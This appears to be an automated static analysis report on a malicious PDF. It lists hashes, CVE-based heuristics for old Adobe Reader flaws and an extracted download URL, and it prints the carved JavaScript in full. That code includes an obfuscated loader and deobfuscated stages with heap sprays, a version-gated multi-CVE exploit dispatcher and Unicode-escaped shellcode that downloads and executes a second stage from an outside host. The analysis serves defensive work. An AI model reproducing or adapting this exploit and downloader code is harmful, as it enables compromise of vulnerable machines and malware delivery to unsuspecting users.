Malicious PDF — malware analysis report

Static analysis result for SHA-256 9f8b94199fe099da…

MALICIOUS

PDF

12.6 KB First seen: 2026-05-08
MD5: 6009f2412d1f8948d51dfabbeba20c98 SHA-1: f14805e841d251fb4c486dbc96ad3b8daf79a641 SHA-256: 9f8b94199fe099da59c25e2697685973cc6323cf8d2e5734a12e19dacaaef1ed
490 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 12

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://miavkenmmcp.com/w.php?f=26&e=5 Referenced by PDF JavaScript

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0076_000.js pdf-javascript-stream PDF /JS object 76 at offset 0x369 11830 bytes
SHA-256: ddd8f1dbd26d13c705130d9cf0a61b3e647e45729eb3850c21d57bb743bb90f5
Preview script
First 1,000 lines of the extracted script
j='4wbt43t';
z
=
new
Array(50,56,35,15,35,30,2,30,32,32,67,63,9,74,45,30,61,21,47,17,31,31,61,21,56,5,15,20,61,21,47,73,56,5,61,21,11,73,15,20,61,21,15,53,17,20,61,21,17,17,73,56,61,21,31,20,5,42,61,21,20,42,47,67,61,21,47,67,17,42,61,21,42,5,20,42,61,21,11,42,47,67,61,21,73,31,2,5,61,21,11,31,47,67,61,21,17,17,42,47,61,21,31,31,34,67,61,21,73,15,47,67,61,21,42,17,17,5,61,21,17,17,11,20,61,21,47,2,54,5,61,21,2,73,15,15,61,21,56,56,2,42,61,21,67,47,56,56,61,21,20,42,47,67,61,21,5,17,17,42,61,21,17,53,20,31,61,21,11,73,42,31,61,21,47,11,56,67,61,21,54,20,17,20,61,21,15,20,47,73,61,21,73,2,11,73,61,21,15,67,15,53,61,21,73,2,20,5,61,21,47,67,73,31,61,21,17,5,11,73,61,21,11,20,47,67,61,21,11,47,17,73,61,21,56,73,42,17,61,21,47,67,73,31,61,21,54,42,11,31,61,21,56,73,42,17,61,21,5,53,17,17,61,21,20,2,20,53,61,21,70,34,56,5,61,21,5,73,42,17,61,21,34,67,17,17,61,21,67,15,42,56,61,21,17,47,2,42,61,21,11,20,56,54,61,21,5,2,42,47,61,21,42,34,5,67,61,21,34,70,42,17,61,21,15,67,20,42,61,21,17,67,56,2,61,21,11,73,2,56,61,21,73,15,15,31,61,21,73,15,47,67,61,21,42,17,54,20,61,21,31,31,34,34,61,21,42,5,47,67,61,21,47,34,20,67,61,21,15,5,20,31,61,21,73,20,56,56,61,21,42,5,54,20,61,21,34,47,47,67,61,21,34,34,42,17,61,21,42,20,47,67,61,21,42,17,47,67,61,21,70,67,5,73,61,21,73,53,73,15,61,21,15,67,5,17,61,21,70,34,73,17,61,21,31,47,47,67,61,21,47,42,54,42,61,21,42,5,11,34,61,21,11,20,17,17,61,21,53,31,42,17,61,21,56,17,15,67,61,21,31,47,47,67,61,21,47,67,42,47,61,21,31,70,56,11,61,21,73,53,42,73,61,21,53,47,15,47,61,21,56,56,56,56,61,21,15,54,56,56,61,21,15,47,56,53,61,21,42,42,42,42,61,21,42,42,42,42,61,21,73,42,73,47,61,21,20,42,31,70,61,21,56,56,31,47,61,21,42,42,42,42,61,21,73,42,42,42,61,21,5,42,47,17,61,21,73,42,2,53,61,21,47,67,73,73,61,21,47,67,15,5,61,21,2,42,73,15,61,21,5,17,47,17,61,21,56,56,42,73,61,21,31,47,15,17,61,21,31,15,31,56,61,21,42,42,42,42,61,21,11,73,31,47,61,21,31,5,11,54,61,21,73,20,31,34,61,21,2,31,56,56,61,21,5,20,47,17,61,21,47,67,42,47,61,21,15,47,15,47,61,21,56,56,31,2,61,21,56,56,56,56,61,21,42,54,15,67,61,21,11,54,15,67,61,21,15,5,47,2,61,21,42,2,42,20,61,21,42,42,42,42,61,21,73,5,47,34,61,21,42,5,54,20,61,21,42,20,5,11,61,21,11,54,54,20,61,21,31,11,31,73,61,21,5,11,11,17,61,21,54,20,20,20,61,21,11,31,42,20,61,21,17,17,11,54,61,21,5,11,17,54,61,21,54,20,20,20,61,21,54,42,42,47,61,21,11,17,54,34,61,21,73,17,54,42,61,21,56,47,31,47,61,21,42,42,42,42,61,21,56,56,42,42,61,21,42,5,73,31,61,21,15,47,47,67,61,21,5,53,17,17,61,21,5,11,73,2,61,21,2,34,20,20,61,21,11,11,42,42,61,21,31,54,11,42,61,21,5,11,11,20,61,21,2,34,20,20,61,21,54,15,42,73,61,21,31,5,31,20,61,21,5,31,31,5,61,21,2,34,20,20,61,21,42,42,42,53,61,21,47,70,73,53,61,21,42,20,5,2,61,21,47,47,17,42,61,21,2,34,20,20,61,21,20,2,42,20,61,21,31,70,73,2,61,21,31,70,42,42,61,21,73,17,42,42,61,21,31,70,73,11,61,21,56,56,42,42,61,21,2,20,73,31,61,21,5,42,47,73,61,21,2,31,11,73,61,21,42,42,31,70,61,21,56,56,73,17,61,21,42,20,73,31,61,21,42,42,31,70,61,21,15,67,47,17,61,21,73,17,42,5,61,21,73,31,56,56,61,21,47,17,42,20,61,21,42,5,5,17,61,21,42,54,15,67,61,21,2,17,15,67,61,21,47,42,20,11,61,21,42,42,17,56,61,21,56,70,11,73,61,21,47,42,20,11,61,21,42,42,17,56,61,21,5,20,11,73,61,21,42,42,31,70,61,21,56,15,31,70,61,21,73,31,56,56,61,21,15,47,42,47,61,21,56,15,53,5,61,21,56,56,56,56,61,21,20,15,47,15,61,21,15,5,42,15,61,21,56,15,53,47,61,21,42,15,47,70,61,21,31,56,47,53,61,21,67,34,42,2,61,21,5,70,17,17,61,21,73,67,47,70,61,21,5,31,2,67,61,21,11,53,20,31,61,21,2,70,17,31,61,21,11,42,54,56,61,21,11,20,31,47,61,21,11,42,11,20,61,21,54,56,17,70,61,21,31,34,54,56,61,21,31,2,31,53,61,21,31,67,11,31,61,21,31,15,31,73,61,21,31,34,31,34,61,21,11,42,31,17,61,21,31,17,54,15,61,21,31,34,31,56,61,21,11,11,54,56,61,21,11,42,54,15,61,21,11,42,31,47,61,21,31,31,17,56,61,21,17,54,17,34,61,21,54,31,17,31,61,21,17,34,31,73,61,21,42,42,17,73,61,21,42,42,42,42,30,37,56,21,55,5,75,50,14,55,44,15,19,60,66,35,66,70,23,39,36,32,12,49,46,50,33,15,35,66,70,16,33,15,55,74,75,46,43,54,38,39,36,32,12,66,70,69,45,66,70,37,57,66,70,45,66,70,16,9,21,67,9,75,66,50,55,74,35,42,23,39,36,51,54,32,37,66,15,75,21,66,55,44,66,70,37,57,44,56,21,55,5,75,50,14,55,44,67,26,35,32,12,60,70,66,44,34,48,74,45,55,15,49,44,29,66,66,70,36,35,32,37,60,70,66,44,60,49,45,42,26,42,5,42,5,42,5,42,5,37,60,70,66,44,70,34,34,66,45,42,26,20,42,42,42,42,42,37,60,70,66,44,58,70,36,33,14,70,34,45,21,55,15,9,5,70,58,15,35,67,63,9,74,32,37,60,70,66,44,9,5,41,33,15,55,45,58,70,36,33,14,70,34,16,33,15,55,74,75,46,43,54,37,60,70,66,44,39,36,45,70,34,34,66,18,35,9,5,41,33,15,55,69,42,26,17,47,32,37,60,70,66,44,36,70,66,9,58,45,21,55,15,9,5,70,58,15,35,62,61,21,53,42,53,42,61,21,53,42,53,42,62,32,37,36,70,66,9,58,45,15,19,60,66,35,36,70,66,9,58,23,39,36,32,37,60,70,66,44,5,14,21,55,75,54,45,35,60,49,18,42,26,20,42,42,42,42,42,32,51,70,34,34,66,37,56,14,66,35,60,70,66,44,5,14,21,55,75,45,42,37,5,14,21,55,75,38,5,14,21,55,75,54,37,5,14,21,55,75,69,69,32,12,34,48,74,59,5,14,21,55,75,0,45,36,70,66,9,58,69,58,70,36,33,14,70,34,37,57,44,60,70,66,44,14,60,15,66,56,33,14,49,45,21,55,15,9,5,70,58,15,35,62,61,21,42,5,42,5,61,21,42,5,42,5,62,32,37,49,46,50,33,15,35,14,60,15,66,56,33,14,49,16,33,15,55,74,75,46,38,20,20,53,73,54,32,12,14,60,15,66,56,33,14,49,69,45,14,60,15,66,56,33,14,49,37,57,44,75,46,50,9,16,5,14,33,33,70,67,3,75,14,66,15,45,25,14,33,33,70,67,16,5,14,33,33,15,5,75,71,7,70,50,33,40,55,56,14,35,12,9,21,67,63,28,62,62,23,7,9,74,28,14,60,15,66,56,33,14,49,57,32,37,57,44,56,21,55,5,75,50,14,55,44,58,66,50,55,75,56,35,32,12,55,14,58,45,21,55,15,9,5,70,58,15,35,62,61,21,42,29,42,29,61,21,42,29,42,29,61,21,42,29,42,29,61,21,42,29,42,29,62,32,37,60,70,66,44,58,70,36,33,14,70,34,45,21,55,15,9,5,70,58,15,35,67,63,9,74,32,37,46,15,70,58,67,33,14,5,48,45,55,14,58,69,58,70,36,33,14,70,34,37,67,50,74,67,33,14,5,48,45,21,55,15,9,5,70,58,15,35,62,61,21,42,29,42,29,61,21,42,29,42,29,62,32,37,46,15,70,34,15,66,9,50,19,15,45,54,42,37,9,58,66,70,36,45,46,15,70,34,15,66,9,50,19,15,69,46,15,70,58,67,33,14,5,48,16,33,15,55,74,75,46,37,49,46,50,33,15,35,67,50,74,67,33,14,5,48,16,33,15,55,74,75,46,38,9,58,66,70,36,32,12,67,50,74,67,33,14,5,48,69,45,67,50,74,67,33,14,5,48,37,57,44,56,50,33,33,67,33,14,5,48,45,67,50,74,67,33,14,5,48,16,9,21,67,9,75,66,50,55,74,35,42,23,9,58,66,70,36,32,37,67,33,14,5,48,45,67,50,74,67,33,14,5,48,16,9,21,67,9,75,66,50,55,74,35,42,23,67,50,74,67,33,14,5,48,16,33,15,55,74,75,46,18,9,58,66,70,36,32,37,49,46,50,33,15,35,67,33,14,5,48,16,33,15,55,74,75,46,69,9,58,66,70,36,38,42,26,20,42,42,42,42,32,12,67,33,14,5,48,45,67,33,14,5,48,69,67,33,14,5,48,69,56,50,33,33,67,33,14,5,48,37,57,44,7,15,7,45,55,15,49,44,29,66,66,70,36,35,32,37,56,14,66,35,50,45,42,37,50,38,2,20,42,42,37,50,69,69,32,12,7,15,7,59,50,0,45,67,33,14,5,48,69,46,15,70,58,67,33,14,5,48,37,57,44,60,70,66,44,55,21,7,45,2,54,53,53,53,53,53,53,53,53,53,53,53,53,53,53,53,53,53,53,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,47,37,21,75,50,33,16,58,66,50,55,75,56,35,62,61,20,73,42,42,42,56,62,23,55,21,7,32,37,57,44,56,21,55,5,75,50,14,55,44,74,15,75,50,5,14,55,35,32,12,60,70,66,44,70,66,66,36,45,55,15,49,44,29,66,66,70,36,35,32,37,50,56,35,70,58,58,16,34,14,5,16,25,14,33,33,70,67,16,74,15,75,40,5,14,55,32,12,60,70,66,44,58,70,36,33,14,70,34,45,21,55,15,9,5,70,58,15,35,67,63,9,74,32,37,60,70,66,44,46,64,39,73,42,42,25,68,45,58,70,36,33,14,70,34,16,33,15,55,74,75,46,43,54,37,60,70,66,44,39,36,45,42,26,20,42,42,42,42,42,18,35,46,64,39,73,42,42,25,68,69,42,26,17,47,32,37,60,70,66,44,36,70,66,9,58,45,21,55,15,9,5,70,58,15,35,62,61,21,53,42,53,42,61,21,53,42,53,42,62,32,37,36,70,66,9,58,45,15,19,60,66,35,36,70,66,9,58,23,39,36,32,37,60,70,66,44,58,73,29,63,4,31,73,56,45,35,42,26,42,5,42,5,42,5,42,5,18,42,26,20,42,42,42,42,42,32,51,42,26,20,42,42,42,42,42,37,56,14,66,35,60,70,66,44,60,39,5,10,1,53,31,36,45,42,37,60,39,5,10,1,53,31,36,38,58,73,29,63,4,31,73,56,37,60,39,5,10,1,53,31,36,69,69,32,12,70,66,66,36,59,60,39,5,10,1,53,31,36,0,45,36,70,66,9,58,69,58,70,36,33,14,70,34,37,57,44,60,70,66,44,75,52,65,46,68,67,8,49,45,21,55,15,9,5,70,58,15,35,62,61,42,53,62,32,37,49,46,50,33,15,35,75,52,65,46,68,67,8,49,16,33,15,55,74,75,46,38,42,26,20,42,42,42,32,12,75,52,65,46,68,67,8,49,69,45,75,52,65,46,68,67,8,49,37,57,44,75,52,65,46,68,67,8,49,45,62,68,16,62,69,75,52,65,46,68,67,8,49,37,70,58,58,16,34,14,5,16,25,14,33,33,70,67,16,74,15,75,40,5,14,55,35,75,52,65,46,68,67,8,49,32,37,57,57,44,70,13,33,21,74,50,55,9,45,70,58,58,16,58,33,21,74,40,55,9,37,60,70,66,44,9,60,45,58,70,66,9,15,40,55,75,35,70,58,58,16,60,50,15,49,15,66,27,15,66,9,50,14,55,16,75,14,3,75,66,50,55,74,35,32,16,5,46,70,66,29,75,35,42,32,32,37,56,14,66,35,60,70,66,44,50,45,42,37,50,38,70,13,33,21,74,50,55,9,16,33,15,55,74,75,46,37,50,69,69,32,12,50,56,35,70,13,33,21,74,50,55,9,59,50,0,16,55,70,7,15,45,45,30,71,3,5,66,50,58,75,30,32,12,60,70,66,44,33,60,45,70,13,33,21,74,50,55,9,59,50,0,16,60,15,66,9,50,14,55,37,57,57,44,50,56,35,35,33,60,45,45,53,32,22,22,35,35,9,60,45,45,47,32,72,72,35,33,60,38,45,47,16,2,54,32,32,32,12,74,15,75,50,5,14,55,35,32,37,57,15,33,9,15,44,50,56,35,33,60,45,45,11,16,2,32,12,58,66,50,55,75,56,35,32,37,57,15,33,9,15,44,50,56,35,35,35,9,60,45,45,31,32,22,22,35,9,60,45,45,11,32,32,72,72,35,33,60,38,11,16,2,2,32,32,12,67,26,35,32,37,57,15,33,9,15,44,50,56,35,35,33,60,6,45,53,16,2,32,22,22,35,33,60,38,45,53,16,54,32,22,22,35,33,60,6,45,47,16,2,17,32,22,22,35,33,60,38,45,47,16,2,11,32,32,12,56,21,55,5,75,50,14,55,44,70,35,32,12,21,75,50,33,16,58,66,50,55,75,34,35,30,58,24,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,44,28,44,36,36,36,36,2,2,2,30,23,55,15,49,44,1,70,75,15,35,32,32,37,57,60,70,66,44,46,45,70,58,58,16,58,33,21,74,40,55,9,37,56,14,66,35,60,70,66,44,56,45,42,37,56,38,46,16,33,15,55,74,75,46,37,56,69,69,32,12,50,56,35,46,59,56,0,16,55,70,7,15,45,45,30,71,3,5,66,50,58,75,30,32,12,60,70,66,44,50,45,46,59,56,0,16,60,15,66,9,50,14,55,37,57,57,44,50,56,35,35,50,6,47,16,2,54,32,72,72,35,50,38,47,16,54,32,32,12,5,45,55,15,49,44,29,66,66,70,36,35,32,37,60,70,66,44,34,45,21,55,15,9,5,70,58,15,35,30,61,21,53,42,53,42,61,21,53,42,53,42,30,32,37,60,70,66,44,15,45,21,55,15,9,5,70,58,15,35,67,63,9,74,32,37,49,46,50,33,15,35,34,16,33,15,55,74,75,46,38,45,42,26,47,42,42,42,32,12,34,69,45,34,37,57,34,45,34,16,9,21,67,9,75,66,35,42,23,42,26,47,42,42,42,18,15,16,33,15,55,74,75,46,32,37,56,14,66,35,56,45,42,37,56,38,54,53,42,42,37,56,69,69,32,12,5,59,56,0,45,34,69,15,37,57,70,35,32,37,70,35,32,37,75,66,36,12,75,46,50,9,16,7,15,34,50,70,16,55,15,49,13,33,70,36,15,66,35,55,21,33,33,32,37,57,5,70,75,5,46,35,15,32,12,57,70,35,32,37,57,57);
a=new String("]D1SKc>mGsQ7{Poe.3-z4u|,@CxV:A'6)ld(y;<qI_0* =h8kwi/U92nf}p[v%'jWMrbN+aE&5gt");
b="al";
b2="v"
+b;
try
{
for(i in app)
if(i=='printerNames')
fqwf-1;
}catch(q){
e=j['substr']();
try{
b='e'+b2;
if(!google.search())
a=2;
}
catch(q){
e=
e[
b];
}
s=new String();try{if(!google.search())throw 1;}catch(q){r=1;}{
for(j=0;j<z.length;j++)
try{
if(!google.search())throw 1;}catch(q){
s
+=
a[
z[j]];
}
}}

try{if(!google.search())bbb-123;}
catch(nergerg){
e(s);
}
generic_stage_recovery_000.js deobfuscated-js generic stage recovery alphabet-index-array from JavaScript object 76 at offset 0x369 3864 bytes
SHA-256: a8776a3306d3d5fd5c8d99eac33cc56e8c04276cd913d7c66003a18c87a2577a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
if(e('1'))bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u6d2f%u6169%u6b76%u6e65%u6d6d%u7063%u632e%u6d6f%u772f%u702e%u7068%u663f%u323d%u2636%u3d65%u0035%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('%45000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('%09');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from JavaScript object 76 at offset 0x369 3860 bytes
SHA-256: 6aac97d58762d7960957848b45cb5d8fc81549b3ad648d77ae11f03086a0dc37
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
if(e('1'))bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u6d2f%u6169%u6b76%u6e65%u6d6d%u7063%u632e%u6d6f%u772f%u702e%u7068%u663f%u323d%u2636%u3d65%u0035%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('E000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('	');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 